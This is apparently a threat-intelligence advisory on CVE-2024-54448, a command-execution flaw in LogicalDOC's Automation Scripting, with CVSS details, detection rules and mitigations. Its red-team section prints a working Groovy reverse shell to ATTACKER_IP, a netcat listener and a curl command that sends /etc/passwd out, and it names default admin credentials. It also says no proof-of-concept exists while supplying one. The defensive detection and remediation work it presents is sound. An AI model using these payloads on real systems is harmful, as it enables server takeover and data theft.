CVE-2024-54448
Executive Summary
CVE-2024-54448 is a critical vulnerability in LogicalDOC, a widely used document management system. The flaw resides in the Automation Scripting functionality, which allows authenticated users with administrative privileges (or those explicitly granted access to Automation Scripting) to execute arbitrary system commands on the underlying operating system. This is a classic OS command injection vulnerability (CWE-78) that can lead to full server compromise, data exfiltration, and lateral movement within the network.
The vulnerability is not a WordPress plugin or component; it is a core feature of the LogicalDOC application. The attack requires high privileges, but once obtained, the impact is severe. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the lack of a patch makes this a high-priority risk for organizations using LogicalDOC.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
LogicalDOC is a Java-based application distributed as a WAR file or installer. The vulnerability is not in a third-party package but in the application's own scripting engine. No supply chain compromise has been identified.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: High (PR:H) – Administrator-level access or explicit Automation Scripting permission is needed.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full read access to the file system and data.
- Integrity Impact: High (I:H) – Ability to modify files, install malware, or alter system state.
- Availability Impact: High (A:H) – Can cause denial of service or system shutdown.
Threat Level: High. While the privilege requirement reduces the attack surface, the potential for complete server takeover makes this a critical risk for any organization using LogicalDOC.
Deep Dive & Mechanics
The Automation Scripting feature in LogicalDOC allows administrators to create and execute scripts (e.g., Groovy, JavaScript) to automate document workflows. The vulnerability arises because the scripting engine does not properly sanitize or restrict the execution of system commands. An attacker with the necessary permissions can craft a script that includes operating system commands, which are then executed with the privileges of the LogicalDOC application server (typically a dedicated user, but often with significant permissions).
Root Cause: The scripting engine likely uses a runtime exec call (e.g., Runtime.getRuntime().exec() in Java) without proper input validation or sandboxing. This allows command injection via script parameters or embedded commands.
Attack Flow:
- Attacker gains administrative access to LogicalDOC (e.g., via stolen credentials, brute force, or another vulnerability).
- Attacker navigates to the Automation Scripting interface.
- Attacker creates a new script containing malicious commands, such as:
def cmd = "whoami" def proc = Runtime.getRuntime().exec(cmd) proc.waitFor() println(proc.inputStream.text) - The script is executed, and the output is returned to the attacker, confirming command execution.
- Attacker escalates to a reverse shell or backdoor.
Vulnerable vs. Patched Code
Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is likely:
Vulnerable (Conceptual Java/Groovy):
// Vulnerable: Direct execution of user-supplied script
String script = request.getParameter("script");
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
engine.eval(script); // No sandboxing
Patched (Conceptual):
// Patched: Use a sandboxed script engine
ScriptEngine engine = new SandboxedScriptEngine();
engine.eval(script); // Restricted to safe operations
The patch would need to either:
- Remove the Automation Scripting feature entirely.
- Implement a strict sandbox that disallows system command execution (e.g., using Java's
SecurityManageror a custom classloader). - Require explicit approval for each script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- LogicalDOC instance (e.g., version 8.4.2 or earlier, as later versions may have partial mitigations).
- Administrative credentials or a user with
automation_scriptingpermission.
Lab Setup:
- Deploy LogicalDOC in a Docker container:
docker run -d -p 8080:8080 --name logicaldoc logicaldoc/logicaldoc:8.4.2 - Access the web interface at
http://localhost:8080. - Log in with admin credentials (default:
admin/admin).
Exploitation Steps:
- Navigate to Administration > Automation Scripting.
- Click New Script.
- Enter a name and the following Groovy script to execute a reverse shell:
def cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" def proc = Runtime.getRuntime().exec(cmd) proc.waitFor() - Replace
ATTACKER_IPwith your listener IP. - Start a netcat listener on your attack machine:
nc -lvnp 4444 - Execute the script. You should receive a reverse shell.
Alternative Payload (Data Exfiltration):
def cmd = "cat /etc/passwd | curl -X POST -d @- http://ATTACKER_IP:8080/exfil"
Runtime.getRuntime().exec(cmd)
Blue Team (Defensive)
Detection:
- Monitor for unusual script execution in LogicalDOC logs (e.g.,
logicaldoc.log). - Look for outbound connections from the LogicalDOC server to unknown IPs on unusual ports.
- Use endpoint detection and response (EDR) to detect child processes spawned by the Java process (e.g.,
bash,curl,nc).
Hunting:
- Search for scripts containing
Runtime.getRuntime().exec,ProcessBuilder, or shell commands. - Review all Automation Scripting scripts for unauthorized content.
Mitigation:
- Disable Automation Scripting if not needed.
- Restrict access to the feature to only essential users.
- Implement network segmentation to limit outbound traffic from the LogicalDOC server.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | ATTACKER_IP:4444 |
Reverse shell connection |
| File | /tmp/rev.sh |
Malicious script dropped by attacker |
| Process | bash -c bash -i >& /dev/tcp/ |
Reverse shell process |
| Log | Script executed: [malicious script name] |
LogicalDOC log entry |
| Log | Runtime.getRuntime().exec in script content |
Command injection attempt |
Detection Engineering
YARA Rule
rule CVE_2024_54448_LogicalDOC_CommandInjection {
meta:
description = "Detects command injection attempts in LogicalDOC Automation Scripting"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-54448"
strings:
$groovy_exec = "Runtime.getRuntime().exec" nocase
$groovy_process = "ProcessBuilder" nocase
$shell_cmd = /bash|sh|cmd|powershell|curl|wget|nc|netcat/ nocase
condition:
($groovy_exec or $groovy_process) and $shell_cmd
}
Sigma Rule
title: LogicalDOC Automation Scripting Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of system commands via LogicalDOC Automation Scripting
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: 'java.exe'
Image|endswith:
- 'cmd.exe'
- 'powershell.exe'
- 'bash.exe'
- 'sh.exe'
condition: selection
falsepositives:
- Legitimate administrative scripts
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54448 LogicalDOC Reverse Shell"; flow:to_server,established; content:"/dev/tcp/"; nocase; content:"bash -i"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Automation Scripting if not business-critical. In LogicalDOC, navigate to Administration > Security > Permissions and remove the
automation_scriptingpermission from all roles. - Restrict access to the feature to only a small set of trusted administrators.
- Monitor logs for any unauthorized script execution.
Long-Term Fix:
- Apply a vendor patch when available. Contact LogicalDOC support for updates.
- If patching is not possible, consider migrating to an alternative document management system.
- Implement a Web Application Firewall (WAF) rule to block requests containing
Runtime.getRuntime().execor similar patterns in POST data.
Compensating Controls:
- Use a sandboxed Java environment (e.g., with
SecurityManagerenabled) to limit the capabilities of the scripting engine. - Network segmentation: Place the LogicalDOC server in a DMZ with strict egress filtering.
- Enable audit logging and integrate with a SIEM for real-time alerting.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert